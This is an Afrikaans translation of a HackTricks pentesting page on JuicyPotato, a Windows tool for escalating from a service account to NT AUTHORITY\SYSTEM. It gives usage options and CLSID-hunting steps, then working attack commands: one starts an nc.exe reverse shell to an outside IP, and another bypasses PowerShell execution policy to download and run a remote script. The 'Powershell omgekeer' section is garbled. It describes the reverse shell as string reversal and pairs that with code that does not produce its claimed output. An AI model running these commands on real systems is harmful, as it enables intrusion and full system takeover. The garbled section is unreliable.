hacktricks/windows-hardening/windows-local-privilege-escalation/juicypotato.md
2024-02-11 02:07:06 +00:00

11 KiB

JuicyPotato

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

{% hint style="warning" %} JuicyPotato werk nie op Windows Server 2019 en Windows 10-bou 1809 en later nie. Tog kan PrintSpoofer, RoguePotato, SharpEfsPotato gebruik word om dieselfde voorregte te benut en NT AUTHORITY\SYSTEM-vlaktoegang te verkry. Kyk: {% endhint %}

{% content-ref url="roguepotato-and-printspoofer.md" %} roguepotato-and-printspoofer.md {% endcontent-ref %}

Juicy Potato (misbruik van die goud-voorregte)

'n Gesuikerde weergawe van RottenPotatoNG, met 'n bietjie sap, d.w.s. 'n ander plaaslike voorregverhogingsinstrument, vanaf 'n Windows-diensrekening na NT AUTHORITY\SYSTEM

Jy kan juicypotato aflaai vanaf https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts

Opsomming

Vanaf juicy-potato Readme:

RottenPotatoNG en sy variant maak gebruik van die voorregverhogingsketting gebaseer op BITS diens met die MiTM-luisteraar op 127.0.0.1:6666 en wanneer jy SeImpersonate of SeAssignPrimaryToken-voorregte het. Tydens 'n Windows-bouhersiening het ons 'n opset gevind waar BITS opsetlik gedeaktiveer is en poort 6666 geneem is.

Ons het besluit om RottenPotatoNG te bewapen: Sê hallo vir Juicy Potato.

Vir die teorie, sien Rotten Potato - Voorregverhoging vanaf diensrekeninge na SYSTEM en volg die ketting van skakels en verwysings.

Ons het ontdek dat daar, behalwe BITS, 'n paar COM-bedienerse is wat ons kan misbruik. Hulle moet net:

  1. installeerbaar wees deur die huidige gebruiker, normaalweg 'n "diensgebruiker" wat impersonasievoorregte het
  2. die IMarshal-koppelvlak implementeer
  3. uitgevoer word as 'n verhoogde gebruiker (SYSTEM, Administrator, ...)

Na 'n paar toetse het ons 'n uitgebreide lys van interessante CLSID's op verskeie Windows-weergawes verkry en getoets.

Sappige besonderhede

JuicyPotato stel jou in staat om te:

  • Teiken CLSID kies enige CLSID wat jy wil. Hier kan jy die lys vind wat georganiseer is volgens bedryfstelsel.
  • COM-luisterpoort definieer die COM-luisterpoort wat jy verkies (in plaas van die gemarshalleerde hardgekodifiseerde 6666)
  • COM-luister-IP-adres bind die bediener aan enige IP
  • Proseskeuringsmodus afhangende van die impersonasievoorregte van die geïmpersonaliseerde gebruiker kan jy kies uit:
  • CreateProcessWithToken (benodig SeImpersonate)
  • CreateProcessAsUser (benodig SeAssignPrimaryToken)
  • beide
  • Proses om te begin begin 'n uitvoerbare lêer of skripsie as die uitbuiting slaag
  • Prosesargument pas die beginproses-argumente aan
  • RPC-bedieneradres vir 'n sluipende benadering kan jy aanmeld by 'n eksterne RPC-bediener
  • RPC-bedienerpoort nuttig as jy wil aanmeld by 'n eksterne bediener en die vuurmuur poort 135 blokkeer...
  • TOETS-modus hoofsaaklik vir toetsdoeleindes, d.w.s. toets CLSID's. Dit skep die DCOM en druk die gebruiker van token. Sien hier vir toetsing

Gebruik

T:\>JuicyPotato.exe
JuicyPotato v0.1

Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port


Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)

Finale gedagtes

Van juicy-potato Readme:

As die gebruiker SeImpersonate of SeAssignPrimaryToken voorregte het, is jy SYSTEM.

Dit is byna onmoontlik om die misbruik van al hierdie COM-bediener te voorkom. Jy kan dalk dink om die toestemmings van hierdie voorwerpe te wysig deur middel van DCOMCNFG, maar sterkte daarmee, dit gaan uitdagend wees.

Die werklike oplossing is om sensitiewe rekeninge en toepassings wat onder die * SERVICE rekeninge loop, te beskerm. Om DCOM te stop sal beslis hierdie uitbuiting inhibeer, maar dit kan 'n ernstige impak hê op die onderliggende bedryfstelsel.

Van: http://ohpe.it/juicy-potato/

Voorbeelde

Let op: Besoek hierdie bladsy vir 'n lys van CLSIDs om te probeer.

Kry 'n nc.exe omgekeerde dopshell

c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

c:\Users\Public>

Powershell omgekeer

Die Powershell omgekeer (rev) is 'n nuttige tegniek wat gebruik kan word in 'n verskeidenheid van situasies. Dit behels die omkeer van 'n teksstring sodat die karakters in die string in omgekeerde volgorde verskyn.

Hier is 'n voorbeeld van hoe die Powershell omgekeer gebruik kan word:

$string = "Hello, world!"
$reversedString = $string.ToCharArray() -join "" -replace "(.)", '$1 '
$reversedString.TrimEnd()

In hierdie voorbeeld word die teksstring "Hello, world!" omgekeer deur dit in 'n tekenreeks van karakters te verdeel, die karakters in omgekeerde volgorde te sorteer en dan weer saam te voeg. Die uiteindelike omgekeerde teksstring is "dlrow ,olleH".

Die Powershell omgekeer kan nuttig wees vir verskeie doeleindes, soos die versteekte versleuteling van teks, die omkeer van URL's of die manipulasie van teksgebaseerde data. Dit is 'n handige tegniek om in jou gereedskapskas te hê as 'n professionele hacker.

.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *

Begin 'n nuwe CMD (as jy RDP-toegang het)

CLSID Probleme

Dikwels werk die verstek CLSID wat JuicyPotato gebruik nie en misluk die uitbuiting. Gewoonlik neem dit verskeie pogings om 'n werkende CLSID te vind. Om 'n lys van CLSIDs te kry om te probeer vir 'n spesifieke bedryfstelsel, moet jy hierdie bladsy besoek:

{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}

Kontroleer CLSIDs

Eerstens sal jy 'n paar uitvoerbare lêers benodig, afgesien van juicypotato.exe.

Laai Join-Object.ps1 af en laai dit in jou PS-sessie, en laai GetCLSID.ps1 af en voer dit uit. Daardie skrip sal 'n lys moontlike CLSIDs skep om te toets.

Laai dan test_clsid.bat af (verander die pad na die CLSID-lys en na die juicypotato-uitvoerbare lêer) en voer dit uit. Dit sal begin om elke CLSID te probeer, en wanneer die poortnommer verander, beteken dit dat die CLSID gewerk het.

Kontroleer die werkende CLSIDs met die parameter -c

Verwysings

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!